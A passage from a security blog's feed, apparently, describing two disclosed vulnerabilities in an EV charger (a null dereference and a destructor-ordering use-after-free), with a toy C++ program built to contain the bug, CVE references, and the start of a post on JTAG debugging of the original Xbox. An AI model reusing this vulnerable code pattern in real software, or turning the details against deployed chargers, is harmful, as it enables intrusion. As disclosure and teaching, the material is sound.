176);&quot;&gt;MMEFrame&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;get_amdata&lt;/span&gt;(mme, i));&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
The number of loop iterations uses the “correct” AMLEN, however the AMDATA blob being iterated over is not actually that size!
If it’s smaller, &lt;code class=&quot;highlighter-rouge&quot;&gt;AMDATA[i]&lt;/code&gt; may be out of bounds.&lt;/p&gt;

&lt;p&gt;Now, you may be thinking…&lt;/p&gt;
&lt;blockquote&gt;
  &lt;p&gt;Hold up, I was expecting a meager null deref… this looks more like an out-of-bounds read!   &lt;img src=&quot;https://raw.githubusercontent.com/googlefonts/noto-emoji/41e31b110b4eb929dffb410264694a06205b7ad7/svg/emoji_u1f914.svg&quot; style=&quot;height: 1lh&quot; /&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This &lt;em&gt;is&lt;/em&gt; technically an out-of-bounds read, and initially seemed promising for an information leak. However, while there did seem to exist code for echoing the “session-local” vector back over the wire, we unfortunately could not find any xrefs or code paths able to actually trigger it. Instead, as a consolation prize, we can utilize the fact that a &lt;code class=&quot;highlighter-rouge&quot;&gt;std::vector&lt;/code&gt; of size 0 will have a null pointer for its backing store, and attempting to read from this vector during the loop causes a null dereference.&lt;/p&gt;

&lt;p&gt;However, the SIGSEGV from the null dereference isn’t necessarily the end of the line for the process, which brings us to our next bug…&lt;/p&gt;

&lt;h2 id=&quot;bug-2-use-after-free-on-process-teardown&quot;&gt;Bug #2: Use-After-Free on Process Teardown&lt;/h2&gt;

&lt;p&gt;The second vulnerability we leveraged was a UAF that occurred during cleanup before process exit, which we discovered mostly by accident. Sometimes in vulnerability research, you spend weeks staring at code to no avail (which we initially did, finding the HomePlug bug).
Other times, you simply attach gdb, continue after a few seconds, and magically get a segfault…&lt;/p&gt;

&lt;p&gt;The reason this was happening was some sort of system monitor was detecting the service had hung (due to being paused in gdb). The monitor then sent SIGTERM to the process, with the intent of shutting it down cleanly,
and restarting the service afterwards. However, some bug was being triggered “organically” during the exit handlers.&lt;/p&gt;

&lt;h3 id=&quot;exit-handlers&quot;&gt;Exit Handlers&lt;/h3&gt;

&lt;p&gt;In the CharxControllerAgent binary, a considerable number of exit handlers are registered by &lt;code class=&quot;highlighter-rouge&quot;&gt;__aeabi_atexit&lt;/code&gt;, which seems to be implicitly emitted by the C++ compiler to destruct globals declared as static.
Since static variables are constructed once but stay alive indefinitely, the C++ runtime registers exit handlers to ensure their destruction.&lt;/p&gt;

&lt;p&gt;The most relevant static global is a &lt;code class=&quot;highlighter-rouge&quot;&gt;ControllerAgent&lt;/code&gt; object, a massive root object for encapsulating nearly all of the agent’s state. This is initially constructed in &lt;code class=&quot;highlighter-rouge&quot;&gt;main&lt;/code&gt;, where the destructor is also registered as an exit handler.&lt;/p&gt;

&lt;p&gt;On a related note, the agent installs several signal handlers as well. For &lt;code class=&quot;highlighter-rouge&quot;&gt;SIGTERM&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;SIGABRT&lt;/code&gt;, the handler sets a global boolean indicating the main run-loop should stop, cleanly returning from &lt;code class=&quot;highlighter-rouge&quot;&gt;main&lt;/code&gt;. For &lt;code class=&quot;highlighter-rouge&quot;&gt;SIGSEGV&lt;/code&gt;, the handler manually invokes &lt;code class=&quot;highlighter-rouge&quot;&gt;exit(1)&lt;/code&gt;. Consequently, delivery of any of these signals ends up triggering exit handlers.&lt;/p&gt;

&lt;p&gt;In other words, our previously useless null dereference can be used to invoke the &lt;code class=&quot;highlighter-rouge&quot;&gt;SIGSEGV&lt;/code&gt; signal handler, which calls &lt;code class=&quot;highlighter-rouge&quot;&gt;exit&lt;/code&gt; and will end up triggering the exit-handling bug! Let’s take a look at what the actual issue turned out to be…&lt;/p&gt;

&lt;h2 id=&quot;destructors-considered-harmful&quot;&gt;Destructors Considered Harmful&lt;/h2&gt;

&lt;p&gt;Before going into the CHARX-specific details, we’ll demonstrate the same bug pattern using a simple toy example, which will be easier to reason about.&lt;/p&gt;

&lt;p&gt;See if you can spot the bug in the following code…&lt;/p&gt;

&lt;div style=&quot;overflow-x: auto; border: 1px solid #444; padding: 1rem; color: rgb(204, 204, 204); background-color: rgb(31, 31, 31); font-family: Consolas, &amp;quot;Courier New&amp;quot;, monospace; font-size: 14px; line-height: 19px; white-space: pre;&quot;&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;&amp;lt;vector&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;#include&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt; &lt;/span&gt;&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;&amp;lt;stdio.h&amp;gt;&lt;/span&gt;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;Outer&lt;/span&gt;;&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// inner class with back-reference to outer class&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;Inner&lt;/span&gt; {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;public:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Outer&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;*&lt;/span&gt; outer;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; idx;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;Inner&lt;/span&gt;(&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;Outer&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;o&lt;/span&gt;) : &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;outer&lt;/span&gt;(o), &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;idx&lt;/span&gt;(&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1&lt;/span&gt;) {}&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;~Inner&lt;/span&gt;();&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;init&lt;/span&gt;(&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;long&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;val&lt;/span&gt;);&lt;/div&gt;&lt;div&gt;};&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// outer class holds inner class and some shared state&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// (in this case a vector the inner class can add/remove from)&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;class&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;Outer&lt;/span&gt; {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;public:&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; Inner inner;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;std&lt;/span&gt;::vector&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;lt;&lt;/span&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;long&lt;/span&gt;&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;&amp;gt;&lt;/span&gt; values;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;Outer&lt;/span&gt;() : &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;inner&lt;/span&gt;(&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;this&lt;/span&gt;) {}&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;add&lt;/span&gt;(&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;long&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;val&lt;/span&gt;) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;values&lt;/span&gt;.&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;push_back&lt;/span&gt;(val);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;values&lt;/span&gt;.&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;size&lt;/span&gt;()&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;remove&lt;/span&gt;(&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;i&lt;/span&gt;) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;printf&lt;/span&gt;(&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;&quot;log values: 0x&lt;/span&gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;%lx&lt;/span&gt;&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt; 0x&lt;/span&gt;&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;%lx&lt;/span&gt;&lt;span style=&quot;color: rgb(215, 186, 125);&quot;&gt;\n&lt;/span&gt;&lt;span style=&quot;color: rgb(206, 145, 120);&quot;&gt;&quot;&lt;/span&gt;, &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;values&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;], &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;values&lt;/span&gt;[&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1&lt;/span&gt;]);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;values&lt;/span&gt;[i] &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; }&lt;/div&gt;&lt;div&gt;};&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// reserve a slot in the shared vector&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;void&lt;/span&gt; &lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;Inner&lt;/span&gt;::&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;init&lt;/span&gt;(&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;long&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;val&lt;/span&gt;) {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; idx &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;outer&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;add&lt;/span&gt;(val);&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(106, 153, 85);&quot;&gt;// on destruction, invalidate the slot&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(78, 201, 176);&quot;&gt;Inner&lt;/span&gt;::&lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;~&lt;/span&gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;Inner&lt;/span&gt;() {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;if&lt;/span&gt; (idx &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;!=&lt;/span&gt; &lt;span style=&quot;color: rgb(212, 212, 212);&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;1&lt;/span&gt;)&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;outer&lt;/span&gt;-&amp;gt;&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;remove&lt;/span&gt;(idx);&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;br /&gt;&lt;div&gt;&lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;int&lt;/span&gt; &lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;main&lt;/span&gt;() {&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(86, 156, 214);&quot;&gt;static&lt;/span&gt; Outer o;&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;o&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;values&lt;/span&gt;.&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;push_back&lt;/span&gt;(&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x41414141&lt;/span&gt;);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;o&lt;/span&gt;.&lt;span style=&quot;color: rgb(156, 220, 254);&quot;&gt;inner&lt;/span&gt;.&lt;span style=&quot;color: rgb(220, 220, 170);&quot;&gt;init&lt;/span&gt;(&lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0x42424242&lt;/span&gt;);&lt;/div&gt;&lt;div&gt;&amp;nbsp; &amp;nbsp; &lt;span style=&quot;color: rgb(197, 134, 192);&quot;&gt;return&lt;/span&gt; &lt;span style=&quot;color: rgb(181, 206, 168);&quot;&gt;0&lt;/span&gt;;&lt;/div&gt;&lt;div&gt;}&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;&lt;br /&gt;
Consider what occurs when returning from &lt;code class=&quot;highlighter-rouge&quot;&gt;main&lt;/code&gt;. This will end up invoking the destructor for &lt;code class=&quot;highlighter-rouge&quot;&gt;Outer&lt;/code&gt;, which would have been registered as an exit handler after construction.
But, what happens during this destructor? It’s not explicitly defined, so it will be whatever default destructor the C++ compiler creates.&lt;/p&gt;

&lt;p&gt;According to the &lt;a href=&quot;https://en.cppreference.com/w/cpp/language/destructor&quot;&gt;C++ Reference&lt;/a&gt;:&lt;/p&gt;

&lt;blockquote&gt;
  &lt;p&gt;… the compiler calls the destructors for all non-static non-variant data members of the class, &lt;strong&gt;in reverse order of declaration&lt;/strong&gt; …&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In other words, for &lt;code class=&quot;highlighter-rouge&quot;&gt;Outer&lt;/code&gt;, the vector is destructed before the inner class. This leads to the following chain of events when destructing &lt;code class=&quot;highlighter-rouge&quot;&gt;Outer&lt;/code&gt;:&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/pwn2own_auto24_charx_destructors.svg&quot; data-lightbox=&quot;pwn2own_auto24_charx_destructors.svg&quot; data-title=&quot;&quot;&gt;
    
      &lt;img src=&quot;/assets/img/pwn2own_auto24_charx_destructors.svg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
&lt;/div&gt;

&lt;p&gt;This is a very subtle bug, mostly caused by the implicit nature of C++, combined with the pattern of an inner class calling back into the outer class during destruction.
An interesting consequence of this implicitness is that simply switching the two lines declaring the members &lt;code class=&quot;highlighter-rouge&quot;&gt;inner&lt;/code&gt; and &lt;code class=&quot;highlighter-rouge&quot;&gt;values&lt;/code&gt; “patches” the bug, since the destructors would then be called in the opposite order.&lt;/p&gt;

&lt;h3 id=&quot;the-controlleragent-destructor&quot;&gt;The ControllerAgent destructor&lt;/h3&gt;

&lt;p&gt;The actual bug follows this same pattern. Almost all of the controller agent’s global structures / state are rooted in a &lt;code class=&quot;highlighter-rouge&quot;&gt;ControllerAgent&lt;/code&gt; class instance. In turn, this object’s destructor performs
most of the program’s cleanup. As mentioned, this destructor is registered as an exit handler.&lt;/p&gt;

&lt;p&gt;One of the &lt;code class=&quot;highlighter-rouge&quot;&gt;ControllerAgent&lt;/code&gt; fields is a &lt;code class=&quot;highlighter-rouge&quot;&gt;std::list&amp;lt;ClientSession&amp;gt;&lt;/code&gt;, a list of “sessions” each representing a connected client.
This is the &lt;code class=&quot;highlighter-rouge&quot;&gt;std::vector&lt;/code&gt; analog of our toy example.&lt;/p&gt;

&lt;p&gt;Another field is a “manager” &lt;code class=&quot;highlighter-rouge&quot;&gt;ClientConnectionManagerTcp&lt;/code&gt;, which internally holds a list of &lt;code class=&quot;highlighter-rouge&quot;&gt;ClientConnectionTcp&lt;/code&gt; objects representing TCP clients.
This is the &lt;code class=&quot;highlighter-rouge&quot;&gt;inner&lt;/code&gt; analog of our toy example.&lt;/p&gt;

&lt;p&gt;These two lists are conceptually one-to-one, where each lower-level &lt;code class=&quot;highlighter-rouge&quot;&gt;ClientConnectionTcp&lt;/code&gt; has a corresponding higher-level &lt;code class=&quot;highlighter-rouge&quot;&gt;ClientSession&lt;/code&gt;. An integral “connection ID” associates each object with the other.&lt;/p&gt;

&lt;p&gt;When the lower-level TCP connection is closed, the “manager” (&lt;code class=&quot;highlighter-rouge&quot;&gt;ClientConnectionManagerTcp&lt;/code&gt;) cleans up both objects. It owns the lower-level object and can perform the cleanup itself, but to clean up the higher-level object, it calls back into a &lt;code class=&quot;highlighter-rouge&quot;&gt;ControllerAgent&lt;/code&gt; function to notify it that the matching &lt;code class=&quot;highlighter-rouge&quot;&gt;ClientSession&lt;/code&gt; should be invalidated. This involves iterating through the &lt;code class=&quot;highlighter-rouge&quot;&gt;std::list&amp;lt;ClientSession&amp;gt;&lt;/code&gt; looking for the matching ID.&lt;/p&gt;

&lt;p&gt;However, this breaks during destruction, since the &lt;code class=&quot;highlighter-rouge&quot;&gt;std::list&amp;lt;ClientSession&amp;gt;&lt;/code&gt; gets destructed before &lt;code class=&quot;highlighter-rouge&quot;&gt;ClientConnectionManagerTcp&lt;/code&gt;:&lt;/p&gt;
&lt;ol&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;~ControllerAgent&lt;/code&gt; kicks off cleanup&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;~std::list&amp;lt;ClientSession&amp;gt;&lt;/code&gt; frees all linked list nodes
    &lt;ul&gt;
      &lt;li&gt;this is most likely the default standard-library-defined destructor&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;~ClientConnectionManagerTcp&lt;/code&gt; starts cleaning up lower-level TCP connections
    &lt;ul&gt;
      &lt;li&gt;calls back into &lt;code class=&quot;highlighter-rouge&quot;&gt;ControllerAgent&lt;/code&gt; to invalidate a connection ID&lt;/li&gt;
      &lt;li&gt;&lt;code class=&quot;highlighter-rouge&quot;&gt;ControllerAgent&lt;/code&gt; attempts to search its &lt;code class=&quot;highlighter-rouge&quot;&gt;std::list&amp;lt;ClientSession&amp;gt;&lt;/code&gt; for the matching ID&lt;/li&gt;
      &lt;li&gt;in this half-destructed state, this &lt;code class=&quot;highlighter-rouge&quot;&gt;std::list&lt;/code&gt; is already gone… UAF!&lt;/li&gt;
    &lt;/ul&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;next-up-exploitation&quot;&gt;Next Up: Exploitation&lt;/h2&gt;

&lt;p&gt;At this point, we have a UAF primitive, with the caveat that it can be triggered just once on process exit
(which we can initiate at will with the null dereference).&lt;/p&gt;

&lt;p&gt;We found the very subtle destructor ordering issue quite interesting, as an example of how the implicit nature of C++ can lead to unexpected and easy-to-miss vulnerabilities.
It’s similarly common to overlook bugs only occurring on process exit.&lt;/p&gt;

&lt;p&gt;The exploitation process is covered in a &lt;a href=&quot;https://blog.ret2.io/2024/07/24/pwn2own-auto-2024-charx-exploit/&quot;&gt;follow-up post&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;Also, if you want to take a crack at exploiting the same core bug pattern (but with ASLR disabled!), check out &lt;a href=&quot;https://wargames.ret2.systems/level/charxpost_destructors&quot;&gt;this challenge&lt;/a&gt; on our in-browser WarGames platform.&lt;/p&gt;

&lt;p&gt;For reference, the ZDI advisories / CVE assignments are listed here:&lt;/p&gt;
&lt;ul&gt;
  &lt;li&gt;HomePlug null dereference: CVE-2024-26003, &lt;a href=&quot;https://www.zerodayinitiative.com/advisories/ZDI-24-860/&quot;&gt;ZDI-24-860&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;Destructor UAF: CVE-2024-26005, &lt;a href=&quot;https://www.zerodayinitiative.com/advisories/ZDI-24-861/&quot;&gt;ZDI-24-861&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content><author><name>Jack Dates</name></author><summary type="html">The first Pwn2Own Automotive introduced an interesting category of targets: electric vehicle chargers. This post will detail some of our research on the Phoenix Contact CHARX SEC-3100 and the bugs we discovered, with a 2nd separate post covering the actual exploit. We’ve adapted the fundamental bug pattern into a challenge hosted on our in-browser WarGames platform here, if you want a hands-on attempt at exploiting the rather interesting C++ issue we discovered. Although an EV charger may initially seem like an “exotic” target with non-standard protocols and physical interfaces, once those are figured out, everything eventually boils down to some binary consuming untrusted input (e.g. from the network), and all the classic memory corruption principles apply.</summary></entry><entry><title type="html">JTAG ‘Hacking’ the Original Xbox in 2023</title><link href="https://blog.ret2.io/2023/08/09/jtag-hacking-the-original-xbox-2023/" rel="alternate" type="text/html" title="JTAG ‘Hacking’ the Original Xbox in 2023" /><published>2023-08-09T10:24:44+00:00</published><updated>2023-08-09T10:24:44+00:00</updated><id>https://blog.ret2.io/2023/08/09/jtag-hacking-the-original-xbox-2023</id><content type="html" xml:base="https://blog.ret2.io/2023/08/09/jtag-hacking-the-original-xbox-2023/">&lt;p&gt;Released in November 2001, the &lt;a href=&quot;https://en.wikipedia.org/wiki/Xbox_(console)&quot;&gt;original Xbox&lt;/a&gt; was Microsoft’s first venture into the game console industry. With its hardware closely resembling a cheap but versatile PC of the early 2000s, the device came under the immediate scrutiny of technical hobbyists looking to run ‘homebrew’ code and alternative operating systems on it.&lt;/p&gt;

&lt;p&gt;Over the course of its lifetime, the Xbox was &lt;a href=&quot;https://en.wikipedia.org/wiki/Xbox_modding&quot;&gt;unilaterally hacked&lt;/a&gt; through a broad range of both hardware and software attacks. But at 20 years old, this Intel-based &lt;a href=&quot;https://en.wikipedia.org/wiki/Pentium_III&quot;&gt;Pentium III&lt;/a&gt; system holds up as an amazing platform to learn or explore a plethora of security and computer systems engineering topics that are still relevant to this day.&lt;/p&gt;

&lt;p&gt;As a fun departure from our usual content, this post exploits some nostalgia to tackle &lt;a href=&quot;https://www.bunniestudios.com/bunnie/proj/anatak/xboxmod.html#:~:text=good%20luck%20JTAG%20hackers...&quot;&gt;a challenge&lt;/a&gt; put forth by some of the earliest musings of the original Xbox researchers: “hacking” the original Xbox via Intel’s x86 CPU JTAG.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_debugger_connected.jpg&quot; data-lightbox=&quot;xbox_JTAG_debugger_connected.jpg&quot; data-title=&quot;Hardware debugging the original Xbox CPU (Pentium III) using a custom JTAG CPU interposer&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_debugger_connected.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Hardware debugging the original Xbox CPU (Pentium III) using a custom JTAG CPU interposer&lt;/p&gt;
    
&lt;/div&gt;

&lt;!--more--&gt;

&lt;h2 id=&quot;about-the-original-xbox&quot;&gt;About the Original Xbox&lt;/h2&gt;

&lt;p&gt;Unlike some of the other early 2000s game consoles, the original Xbox was a remarkably straight-forward &lt;a href=&quot;https://www.copetti.org/writings/consoles/xbox/&quot;&gt;hardware platform&lt;/a&gt; built around an Intel CPU + NVIDIA GPU with a unified memory architecture. Microsoft designed a system that would be easy to transition existing PC game developers onto, tapping into their dominance of the PC market.&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_motherboard.jpg&quot; data-lightbox=&quot;xbox_JTAG_motherboard.jpg&quot; data-title=&quot;Original Xbox 1.0 motherboard: An ATX board with a 32-bit 733 MHz Intel Pentium III CPU and a custom NVIDIA GPU&quot;&gt;
    
      &lt;img src=&quot;/assets/img/xbox_JTAG_motherboard.jpg&quot; alt=&quot;&quot; /&gt;
    
    &lt;/a&gt;
    
    
        &lt;p class=&quot;image-caption&quot;&gt;Original Xbox 1.0 motherboard: An ATX board with a 32-bit 733 MHz Intel Pentium III CPU and a custom NVIDIA GPU&lt;/p&gt;
    
&lt;/div&gt;

&lt;p&gt;But the security of the Xbox leaned heavily on a “secret” 512 byte bootrom that was carefully hidden within the system’s custom NVIDIA &lt;a href=&quot;https://www.cnet.com/culture/nvidia-reveals-details-of-xbox-mystery-chip/&quot;&gt;MCPX&lt;/a&gt; Southbridge to establish a chain of trust. Within three months of launch, this secret bootrom was infamously dumped by Andrew “&lt;a href=&quot;https://en.wikipedia.org/wiki/Andrew_Huang_(hacker)&quot;&gt;bunnie&lt;/a&gt;” Huang blowing the console wide open to further research.&lt;/p&gt;

&lt;p&gt;Bunnie dumped the secret ROM using an FPGA to sniff the ROM on the &lt;a href=&quot;https://en.wikipedia.org/wiki/HyperTransport&quot;&gt;HyperTransport&lt;/a&gt; bus as it left the MCPX on its way to the Northbridge / GPU, before traveling over the &lt;a href=&quot;https://en.wikipedia.org/wiki/Front-side_bus&quot;&gt;Front-side bus&lt;/a&gt; to the CPU. This attack (among others) is described in great detail in bunnie’s 2003 book: &lt;em&gt;&lt;a href=&quot;https://nostarch.com/xboxfree&quot;&gt;“Hacking The Xbox”&lt;/a&gt; (now free.)&lt;/em&gt;&lt;/p&gt;

&lt;div class=&quot;image-wrapper&quot;&gt;
    
    &lt;a href=&quot;/assets/img/xbox_JTAG_mcpx.jpg&quot; data-lightbox=&quot;xbox_JTAG_mcpx.jpg&quot; data-title=&quot;The MCPX is the Media Communication Processor (southbridge) which also plays host to the secret ROM&quot;&gt;
    
